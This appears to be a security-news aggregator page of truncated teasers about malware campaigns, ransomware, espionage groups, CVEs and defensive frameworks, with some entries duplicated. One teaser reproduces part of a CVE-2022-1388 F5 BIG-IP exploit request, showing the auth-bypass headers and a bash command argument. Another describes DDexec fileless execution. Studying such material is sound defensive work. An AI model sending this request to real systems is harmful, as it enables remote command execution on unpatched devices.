Beneath the surface: Uncovering the shift in web skimming

Microsoft security researchers recently observed that web skimming campaigns now employ various obfuscation techniques to deliver and hide skimming scripts. It’s a shift from earlier tactics where attackers conspicuously injected malicious scripts into e-commerce platforms and content management...

Cybercrime Getting More Sophisticated: How to Protect Your Business?

Can it happen to us? Are we ready to combat a cyberattack? All over the world, security officers have been fielding these questions from CEOs and the Board of Directors in the wake of large, high-profile cyberattacks. Yes, is the honest answer when attackers have continuously expanded their...

Rise in XorDdos: A deeper look at the stealthy DDoS malware targeting Linux devices

In the last six months, we observed a 254% increase in activity from a Linux trojan called XorDdos. First discovered in 2014 by the research group MalwareMustDie, XorDdos was named after its denial-of-service-related activities on Linux endpoints and servers as well as its usage of XOR-based...

Rise in XorDdos: A deeper look at the stealthy DDoS malware targeting Linux devices

In the last six months, we observed a 254% increase in activity from a Linux trojan called XorDdos. First discovered in 2014 by the research group MalwareMustDie, XorDdos was named after its denial-of-service-related activities on Linux endpoints and servers as well as its usage of XOR-based...

Bruised but Not Broken: The Resurgence of the Emotet Botnet Malware

During the first quarter of 2022, we discovered a significant number of infections using multiple new Emotet variants that employed both old and new techniques to trick their intended victims into accessing malicious links and enabling macro content...

In hot pursuit of ‘cryware’: Defending hot wallets from attacks

The steep rise in cryptocurrency market capitalization, not surprisingly, mirrors a marked increase in threats and attacks that target or leverage cryptocurrencies. But Microsoft researchers are observing an even more interesting trend: the evolution of related malware and their techniques, and t...

U.S. Charges Venezuelan Doctor for Using and Selling Thanos Ransomware

The U.S. Justice Department on Monday accused a 55-year-old cardiologist from Venezuela of being the mastermind behind Thanos ransomware, charging him with the use and sale of the malicious tool and entering into profit sharing arrangements. Moises Luis Zagala Gonzalez, also known by the monikers...

Center for Threat-Informed Defense, Microsoft, and industry partners streamline MITRE ATT&CK® matrix evaluation for defenders

The MITRE Center for Threat-Informed Defense, Microsoft, and other industry partners collaborated on a project that created a repeatable methodology for developing a top MITRE ATT&CK® techniques list. The method aims to facilitate navigation of the ATT&CK framework, which could help new defenders...

Center for Threat-Informed Defense, Microsoft, and industry partners streamline MITRE ATT&CK® matrix evaluation for defenders

The MITRE Center for Threat-Informed Defense, Microsoft, and other industry partners collaborated on a project that created a repeatable methodology for developing a top MITRE ATT&CK® techniques list. The method aims to facilitate navigation of the ATT&CK framework, which could help new defenders...

F5 BIG-IP Remote Code Execution

F5 BIG-IP RCE exploitation CVE-2022-1388 POST 1: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl commandliner: $ curl -i -s -k -X $'POST' -H $'Host: :8443' -H...

Chinese Hackers Caught Stealing Intellectual Property from Multinational Companies

An elusive and sophisticated cyberespionage campaign orchestrated by the China-backed Winnti group has managed to fly under the radar since at least 2019. Dubbed "Operation CuckooBees" by Israeli cybersecurity company Cybereason, the massive intellectual property theft operation enabled the threa...

Experts Analyze Conti and Hive Ransomware Gangs' Chats With Their Victims

An analysis of four months of chat logs spanning more than 40 conversations between the operators of Conti and Hive ransomware and their victims has offered an insight into the groups' inner workings and their negotiation techniques. In one exchange, the Conti Team is said to have significantly...

CVE-2022-20742 Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software IPsec IKEv2 VPN Information Disclosure Vulnerability

A vulnerability in an IPsec VPN library of Cisco Adaptive Security Appliance ASA Software and Cisco Firepower Threat Defense FTD Software could allow an unauthenticated, remote attacker to read or modify data within an IPsec IKEv2 VPN tunnel. This vulnerability is due to an improper implementatio...

Chinese "Override Panda" Hackers Resurface With New Espionage Attacks

A Chinese state-sponsored espionage group known as Override Panda has resurfaced in recent weeks with a new phishing attack with the goal of stealing sensitive information. "The Chinese APT used a spear-phishing email to deliver a beacon of a Red Team framework known as 'Viper,'" Cluster25 said i...

Cyberattacks Rise Targeting Infrastructure and Geo Tensions

Trellix Threat Labs Research Report: Cyberattacks Targeting Critical Infrastructure Rise Along with Geopolitical Tensions By Trellix · April 27, 2022 The release of our Trellix Threat Labs Research Report: April 2022 examines cybercriminal behavior and activity related to cyber threats in the...

Cyberattacks Rise Targeting Infrastructure and Geo Tensions

Trellix Threat Labs Research Report: Cyberattacks Targeting Critical Infrastructure Rise Along with Geopolitical Tensions By Trellix · April 27, 2022 The release of our Trellix Threat Labs Research Report: April 2022 examines cybercriminal behavior and activity related to cyber threats in the...

DDexec - A Technique To Run Binaries Filelessly And Stealthily On Linux Using Dd To Replace The Shell With Another Process

In Linux in order to run a program it must exist as a file, it must be accessible in some way through the file system hierarchy this is just how execve works. This file may reside on disk or in ram tmpfs, memfd but you need a filepath. This has made very easy to control what is run on a Linux...

Unchecked parameters in Chainlink latestRounddata() could lead to retrieve stale data

Lines of code Vulnerability details Impact Oracle can retrieve unchecked stale data Proof of Concept In ChainlinkpriceOracle.sol the function function refreshedAssetPerBaseInUQaddress asset public override returns uint AssetInfo storage assetInfo = assetInfoOfasset; , int basePrice, , , =...

Learn the latest cybersecurity techniques at the Microsoft Security Summit

In a world marked by change and uncertainty, innovation is more than a nice-to-have—it’s vital to any healthy organization. But fearless innovation becomes impossible when gaps in security can put those ideas at risk. Many organizations try to increase their defenses by piecing together a patchwo...

Cloak - A Censorship Circumvention Tool To Evade Detection By Authoritarian State Adversaries

Cloak is a pluggable transport that enhances traditional proxy tools like OpenVPN to evade sophisticated censorship and data discrimination. Cloak is not a standalone proxy program. Rather, it works by masquerading proxied traffic as normal web browsing activities. In contrast to traditional tool...